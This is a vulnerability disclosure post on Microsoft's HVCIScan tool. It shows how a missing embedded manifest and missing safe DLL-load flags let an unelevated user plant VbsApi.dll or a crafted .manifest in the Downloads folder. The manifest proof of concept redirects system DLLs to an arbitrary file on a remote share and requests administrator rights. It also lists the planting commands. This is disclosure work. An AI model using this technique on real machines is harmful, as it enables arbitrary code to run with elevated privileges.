## https://sploitus.com/exploit?id=PACKETSTORM:172790
Hi @ll,
about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a
"Tool to check devices for compatibility with memory integrity (HVCI)"
The "Install instructions" on the download page
<https://www.microsoft.com/en-us/download/105217> tell:
| Download the hvciscan.exe for your system architecture (AMD64 or ARM64).
| From an elevated command window or PowerShell, run hvciscan.exe
"ELEVATED" sounds good, especially when such a vulnerable tool is run
from the "Downloads" folder, where a file HVCIScan_amd64.exe.manifest,
HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via "drive-by"
download or by the (unsuspecting) unelevated user who still abuses the
"protected administrator" account created during Windows setup.
Oops, one step back: how did I determine
a) that HVCIScan-*.exe is vulnerable
b) these filenames?
Open an UNELEVATED command window and run
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_amd64.exe
and/or
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_arm64.exe
then inspect the output.
| Dump of file HVCIScan_amd64.exe
|
| File Type: EXECUTABLE IMAGE
|
| Image has the following dependencies:
|
| KERNEL32.dll
| msvcrt.dll
| VbsApi.dll
~~~~~~~~~~
| Section contains the following load config:
|
...
| 0000 Dependend load flags
...
| Summary
|
| 1000 .data
| 1000 .pdata
| 2000 .rdata
| 1000 .reloc
| 1000 .text
OUCH: the guys at M$FT built these tools without embedded "application
manifest" (which would have been placed in a ".rsrc" section),
so Windows will apply an external "application manifest", and
without /DEPENDENTLOADFLAG:2048, so Windows will search dependent
DLLs not listed as "Known DLL" in the "application directory"
first.
Both omissions^WBEGINNER'S MISTAKES allow to load and execute ARBITRARY
DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of
the application!
"Trustworthy Computing" anyone? Or "Security Development Lifecycle"?
<https://www.microsoft.com/en-us/securityengineering/sdl>
Proof of concept #1:
~~~~~~~~~~~~~~~~~~~~
a) Open an UNELEVATED command window in the directory where you saved
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe
b) Create an empty file VbsApi.dll next to the executable:
COPY NUL: VbsApi.dll
c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that VbsApi.dll can't be loaded.
Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe
to actually load and execute VbsApi.dll is left as an exercise to the
reader.
See <https://skanthak.homepage.t-online.de/minesweeper.html> if you
need help.
Proof of concept #2:
~~~~~~~~~~~~~~~~~~~~
a) Create the text file HVCISCAN_amd64.exe.manifest respectively
HVCISCAN_arm64.exe.manifest with the following content next to
HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe:
--- HVCISCAN_a??64.exe.manifest ---
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="KERNEL32.dll" />
<file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="msvcrt.dll" />
<file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="VbsApi.dll" />
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
--- EOF ---
Replace the UNC path \\SERVER\SHARE\arbitrary.dll with any local or
remote path where you can create the specified file.
NOTE: the section "trustInfo" is optional.
NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs".
b) Create an empty file arbitrary.dll in the specified network share or
local directory:
COPY NUL: \\SERVER\SHARE\arbitrary.dll
c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
message that a required DLL or an entry point is not found.
Building \\SERVER\SHARE\arbitrary.dll with the exports required by
HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left
as an exercise to the reader.
stay tuned, and far away from "tools" made in Redmond
Stefan Kanthak